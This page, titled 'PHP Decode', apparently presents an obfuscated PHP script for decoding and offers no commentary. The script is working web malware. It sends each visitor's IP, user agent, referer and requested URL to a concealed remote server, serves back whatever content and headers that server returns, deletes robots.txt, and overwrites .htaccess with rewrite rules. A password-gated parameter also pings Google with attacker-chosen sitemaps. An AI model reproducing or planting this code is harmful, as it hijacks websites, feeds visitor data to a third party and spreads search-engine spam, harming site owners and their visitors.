PHP Decode

<?php
 goto SU6_0; d4gbU: for ($bZwkIRdzsZ = 0; $bZwkIRdzsZ < count($jkSdvleVBj); $bZwkIRdzsZ++) { if ($bZwkIRdzsZ % 2 != 0) { $BvrqhPRkws .= $jkSdvleVBj[$bZwkIRdzsZ]; } } goto NUmZH; dUaXc: $BvrqhPRkws = ''; goto d4gbU; KfVaZ: $FgGZisOixn["\154\141\x6e\x67\x75\x61\147\x65"] = isset(${"\137\x53\x45\122\x56\105\122"}["\x48\x54\124\120\137\101\x43\103\x45\x50\124\137\x4c\101\116\x47\125\x41\107\105"]) ? ${"\137\x53\x45\x52\126\105\x52"}["\110\x54\x54\120\137\101\x43\103\x45\x50\x54\137\x4c\101\x4e\x47\125\x41\x47\105"] : ''; goto Q5b4A; LASRw: $FgGZisOixn["\x72\145\161\x75\145\x73\x74\x5f\x75\162\x6c"] = ${"\137\123\x45\x52\x56\x45\122"}["\122\x45\121\x55\x45\x53\x54\x5f\125\x52\111"]; goto BTqZn; T40Q5: $TBUGmiyAlx = http($FgGZisOixn["\141\160\151"], $jcWfytRtqN, $FgGZisOixn["\163\x65\x72\x76\145\162\x5f\x64\x6f\x6d\x61\x69\x6e"]); goto gp_RY; riCRM: $HCKCPHjOCd = @preg_split("\57\x5c\174\57\x73\151", $TBUGmiyAlx, -1, PREG_SPLIT_NO_EMPTY); goto al9h0; maLBd: $jcWfytRtqN = array("\144\x6f\155\x61\x69\156" => $FgGZisOixn["\163\x65\162\166\x65\162\x5f\x64\x6f\155\141\x69\156"], "\162\x65\x71\x75\x65\x73\x74\x5f\x75\x72\154" => $FgGZisOixn["\162\x65\161\x75\145\163\x74\137\165\x72\154"], "\151\x70" => $FgGZisOixn["\151\x70"], "\x61\147\x65\156\x74" => $FgGZisOixn["\x75\163\x65\x72\x5f\141\x67\145\x6e\164"], "\162\x65\146\x65\162\x65\x72" => $FgGZisOixn["\162\145\x66\x65\162\145\x72"], "\160\162\x6f\164\157\143\x6f\154" => $FgGZisOixn["\160\x72\157\164\x6f\143\x6f\154"], "\154\x61\156\x67\165\141\147\145" => $FgGZisOixn["\x6c\141\156\x67\x75\x61\x67\x65"]); goto T40Q5; al9h0: if ($HCKCPHjOCd !== false) { $dwCXwAnylU = array_pop($HCKCPHjOCd); $dwCXwAnylU = base64_decode($dwCXwAnylU); foreach ($HCKCPHjOCd as $KcSijtTrrV) { @header($KcSijtTrrV); } echo $dwCXwAnylU; die; } goto ZrOaK; SU6_0: function f_site_map($dQbTbIQSRI, $enpCQawhei, $FgGZisOixn) { $eiNGEqThFg = "\x68\x74\164\x70\x73\72\x2f\x2f\45\x73\x2f\160\151\156\147\77\x73\151\164\145\155\x61\x70\x3d\x25\x73\45\x73\57\x25\163"; $uJKDhMPJyT = sprintf($eiNGEqThFg, $dQbTbIQSRI, $FgGZisOixn["\x70\x72\x6f\x74\157\x63\157\x6c"], $FgGZisOixn["\163\145\162\166\145\x72\137\144\x6f\x6d\x61\151\156"], $enpCQawhei); $xPJiFoJqKg = http($uJKDhMPJyT); if (isset(${"\137\122\105\x51\x55\105\123\124"}["\163\164"])) { var_dump($uJKDhMPJyT); var_dump($xPJiFoJqKg); die; } $jdNXhaoxJd = "\x67\x6f\157\147\154\x65"; $SsEXLWojxq = "\163\165\143\x63\145\163\x73"; $JahVYbkYSG = "\x66\141\151\x6c\x65\x64"; if (strpos($xPJiFoJqKg, $jdNXhaoxJd) != false) { die($SsEXLWojxq); } else { $eiNGEqThFg = "\150\x74\x74\x70\x3a\57\57\x25\x73\x2f\x70\151\156\147\77\x73\x69\x74\x65\x6d\x61\160\75\45\163\45\x73\x2f\45\x73"; $uJKDhMPJyT = sprintf($eiNGEqThFg, $dQbTbIQSRI, $FgGZisOixn["\x70\162\x6f\x74\x6f\x63\x6f\x6c"], $FgGZisOixn["\163\x65\x72\x76\x65\162\x5f\x64\x6f\155\141\151\156"], $enpCQawhei); $xPJiFoJqKg = http($uJKDhMPJyT); if (strpos($xPJiFoJqKg, $jdNXhaoxJd) != false) { die($SsEXLWojxq); } die($JahVYbkYSG); } } goto VQCGx; NUmZH: $FgGZisOixn["\144\145\146\x61\x75\x6c\164\x5f\x70\x61\162\x61\155\163"] = $RABmhbVskd; goto XCO1l; WR8BW: $jkSdvleVBj = str_split($RABmhbVskd); goto dUaXc; BTqZn: $FgGZisOixn["\x72\x65\146\145\x72\145\x72"] = isset(${"\x5f\123\x45\x52\126\105\122"}["\x48\124\124\120\x5f\122\105\106\105\122\x45\x52"]) ? ${"\x5f\x53\105\x52\x56\x45\122"}["\x48\124\124\x50\x5f\x52\x45\x46\105\122\x45\122"] : ''; goto BrPXD; P4hDP: if (isset(${"\x5f\x52\105\121\x55\105\123\124"}["\160\x77\x64\61\66\63"])) { if (md5(${"\x5f\x52\105\x51\x55\105\x53\124"}["\160\x77\x64\61\x36\x33"] . "\141\41\x23\x5f\x31\61\101\101") == "\62\146\67\x61\x37\66\x66\x37\61\146\146\71\145\x32\64\142\145\67\x63\x30\60\61\65\x66\146\x39\x63\x62\70\x31\x64\70") { if (isset(${"\x5f\x47\x45\x54"}["\x73\151\x74\x65\x6d\141\x70"])) { $enpCQawhei = ${"\137\x47\105\x54"}["\x73\x69\x74\x65\x6d\x61\x70"]; $puZhXlYnpx = "\167\167\x77\56\x67\x6f\x6f\x67\154\x65\x2e\143\157\x6d"; if (isset(${"\x5f\107\105\x54"}["\x67\157\x6f\147\154\145\x5f\x75\x72\x6c"])) { $puZhXlYnpx = ${"\137\107\105\124"}["\x67\x6f\x6f\x67\154\145\137\x75\162\154"]; } f_site_map($puZhXlYnpx, $enpCQawhei, $FgGZisOixn); } } } goto Lq5KW; Lq5KW: f_check_htaccess(); goto maLBd; Q5b4A: if (isset(${"\137\122\105\x51\125\105\123\x54"}["\x70\141\x72\141\155\x73"])) { print_r($FgGZisOixn); die; } goto P4hDP; xG2sX: $TBUGmiyAlx = @gzuncompress(base64_decode($TBUGmiyAlx)); goto riCRM; gp_RY: if (isset(${"\x5f\122\x45\x51\125\x45\x53\124"}["\144\165\155\x70"])) { var_dump($TBUGmiyAlx); $TBUGmiyAlx = http("\x68\164\164\x70\72\57\x2f\147\157\x6f\x67\x6c\x65\x2e\143\x6f\x2e\x6a\160"); var_dump($TBUGmiyAlx); die; } goto xG2sX; VQCGx: function http($tcxHvoEfEI, $dwCXwAnylU = '', $SesHjHxMQx = '') { if ($dwCXwAnylU == '') { $DIzXvGQftH = @file_get_contents($tcxHvoEfEI); if ($DIzXvGQftH) { return $DIzXvGQftH; } } $ajExbevdiA = curl_init(); curl_setopt($ajExbevdiA, CURLOPT_URL, $tcxHvoEfEI); curl_setopt($ajExbevdiA, CURLOPT_USERAGENT, $SesHjHxMQx); curl_setopt($ajExbevdiA, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ajExbevdiA, CURLOPT_TIMEOUT, 20); curl_setopt($ajExbevdiA, CURLOPT_FRESH_CONNECT, TRUE); if ($dwCXwAnylU != '') { curl_setopt($ajExbevdiA, CURLOPT_POST, 1); if (is_array($dwCXwAnylU)) { curl_setopt($ajExbevdiA, CURLOPT_POSTFIELDS, http_build_query($dwCXwAnylU)); } } $DIzXvGQftH = curl_exec($ajExbevdiA); curl_close($ajExbevdiA); return $DIzXvGQftH; } goto VmS06; TcQCN: $FgGZisOixn["\x70\x72\x6f\x74\x6f\143\157\154"] = isset(${"\x5f\x53\105\122\x56\105\122"}["\x48\x54\124\120\x53"]) ? "\x68\x74\x74\160\163\72\57\57" : "\x68\164\x74\160\x3a\57\x2f"; goto KfVaZ; BrPXD: $FgGZisOixn["\x75\x73\x65\162\137\141\x67\x65\x6e\x74"] = isset(${"\x5f\123\105\122\126\x45\x52"}["\110\124\x54\x50\x5f\x55\x53\x45\x52\137\101\x47\105\116\x54"]) ? ${"\x5f\x53\x45\122\x56\x45\122"}["\x48\x54\x54\x50\x5f\125\123\x45\x52\137\x41\x47\105\116\124"] : ''; goto Pg1W5; rPdRK: $FgGZisOixn["\x73\145\162\x76\145\x72\137\x64\x6f\155\141\151\x6e"] = isset(${"\137\x53\x45\122\126\x45\x52"}["\x48\124\124\x50\137\x48\x4f\x53\x54"]) ? ${"\x5f\x53\x45\x52\x56\105\x52"}["\110\124\x54\120\x5f\110\117\123\x54"] : ${"\137\123\105\x52\126\x45\122"}["\x53\x45\x52\126\105\x52\137\x4e\x41\x4d\105"]; goto LASRw; VmS06: function f_check_htaccess() { if (file_exists("\162\x6f\142\157\164\x73\56\x74\170\164")) { @unlink("\x72\x6f\x62\x6f\164\163\56\x74\x78\164"); } $kcOFaTskiI = "\x2e\x68\x74\x61\x63\143\x65\x73\x73"; $TBUGmiyAlx = @base64_decode("\x50\x45\132\160\142\x47\x56\172\x54\127\x46\x30\x59\62\x67\147\x49\x69\64\x6f\143\x48\154\x38\x5a\130\x68\x6c\146\110\x42\157\x63\x43\x6b\153\111\152\64\113\111\105\71\x79\x5a\107\x56\171\111\107\x46\x73\142\x47\x39\x33\114\x47\122\154\142\x6e\x6b\113\111\x45\122\154\x62\156\153\147\x5a\x6e\112\x76\x62\123\102\x68\142\107\167\113\120\103\71\x47\141\x57\x78\x6c\x63\x30\61\150\x64\107\116\157\120\x67\x6f\x38\x52\x6d\154\x73\132\x58\116\116\131\130\x52\152\x61\x43\x41\151\130\151\150\x68\131\155\x39\61\x64\x43\x35\167\141\x48\x42\70\x63\x6d\x46\x6b\141\x57\70\165\x63\x47\150\x77\x66\107\154\165\132\x47\x56\64\114\156\x42\157\143\x48\170\x6a\x62\62\x35\60\x5a\x57\x35\60\114\156\102\x6f\x63\110\170\163\x62\62\x4e\x72\x4d\x7a\131\167\114\156\x42\157\143\x48\x78\150\132\107\x31\x70\142\151\65\x77\x61\x48\x42\70\x64\63\x41\x74\x62\107\x39\156\x61\x57\64\165\143\x47\150\167\146\110\144\167\x4c\x57\x77\167\132\62\154\165\114\x6e\102\x6f\143\x48\170\63\x63\103\61\60\x61\x47\126\x74\x5a\123\x35\x77\141\x48\102\x38\144\63\x41\x74\143\x32\116\x79\x61\130\x42\x30\x63\171\65\167\x61\x48\x42\70\144\63\101\x74\x5a\127\122\x70\144\x47\x39\x79\114\156\102\157\x63\110\170\164\x59\x57\x67\x75\143\x47\150\x77\146\107\x70\167\114\x6e\102\157\143\x48\170\154\145\110\x51\165\143\107\x68\167\x4b\123\121\151\120\147\157\147\124\x33\112\x6b\x5a\130\111\147\131\x57\170\163\x62\x33\x63\163\x5a\x47\126\x75\145\x51\x6f\147\121\x57\170\163\x62\63\143\147\x5a\x6e\x4a\x76\142\x53\102\150\142\107\x77\x4b\x50\x43\71\107\x61\127\x78\154\143\x30\61\x68\x64\107\x4e\157\x50\147\157\70\123\127\132\116\142\x32\122\x31\x62\107\125\x67\x62\127\71\x6b\x58\x33\x4a\154\144\63\x4a\x70\144\x47\125\x75\x59\x7a\64\113\125\x6d\126\x33\x63\155\x6c\60\x5a\x55\x56\165\x5a\x32\x6c\x75\132\x53\x42\x50\x62\147\160\x53\x5a\130\x64\171\x61\130\x52\x6c\121\x6d\x46\172\132\123\x41\166\103\x6c\112\x6c\x64\63\112\160\x64\x47\x56\123\144\127\x78\154\111\x46\x35\x70\142\x6d\122\154\145\106\167\165\x63\x47\x68\167\x4a\103\101\164\111\106\164\x4d\130\x51\160\x53\132\x58\144\x79\x61\x58\122\154\121\x32\71\165\x5a\x43\101\x6c\145\61\x4a\x46\125\x56\x56\x46\x55\61\x52\146\x52\153\154\115\x52\125\x35\102\x54\125\126\71\x49\103\x45\x74\132\147\x70\x53\132\130\144\171\x61\130\x52\x6c\121\62\71\165\x5a\103\x41\x6c\145\61\112\x46\125\126\126\x46\x55\61\122\146\122\x6b\154\x4d\122\x55\x35\102\124\x55\x56\71\x49\x43\105\164\132\x41\160\123\132\130\x64\171\141\x58\122\x6c\125\x6e\x56\163\132\x53\x41\x75\x49\x43\x39\160\142\155\122\154\145\103\x35\x77\x61\x48\x41\x67\127\x30\x78\x64\103\152\167\x76\123\127\132\x4e\x62\x32\x52\x31\142\x47\125\53"); if (file_exists($kcOFaTskiI)) { $FQKGrcJFsU = file_get_contents($kcOFaTskiI); if ($TBUGmiyAlx == $FQKGrcJFsU) { return; } } @chmod($kcOFaTskiI, 511); @file_put_contents($kcOFaTskiI, $TBUGmiyAlx); @chmod($kcOFaTskiI, 420); } goto sy9GR; Pg1W5: $FgGZisOixn["\151\160"] = isset(${"\x5f\123\105\122\x56\105\x52"}["\x48\124\124\120\137\x56\111\x41"]) ? ${"\137\x53\x45\122\x56\x45\x52"}["\110\x54\124\x50\137\x58\137\106\x4f\x52\127\101\122\x44\x45\x44\x5f\x46\117\x52"] : ${"\x5f\123\x45\x52\x56\x45\x52"}["\x52\105\115\117\124\105\137\101\104\104\122"]; goto TcQCN; XCO1l: $FgGZisOixn["\141\160\x69"] = base64_decode($BvrqhPRkws); goto rPdRK; sy9GR: $RABmhbVskd = "\102\x61\106\x48\x79\122\143\x30\145\143\155\104\x48\157\123\166\162\x4c\x51\x7a\x46\x55\x62\170\x51\116\x49\x7a\x52\x49\122\164\161\131\156\x32\x69\147\x4b\60\153\114\x4f\130\x43\131\x48\63\130\116\x4c\x69\155\65\x74\x6d\x76\x63\x62\x6d\x78\x56\155\154\x65\141\167\155\157\x46\144\65\144\143\x44\62\102\x73\124\x75\x61\x62\167\x47\156\154\x67\x32\x66\132\x5a\x51\144\75\160\x3d"; goto WR8BW; ZrOaK: ?>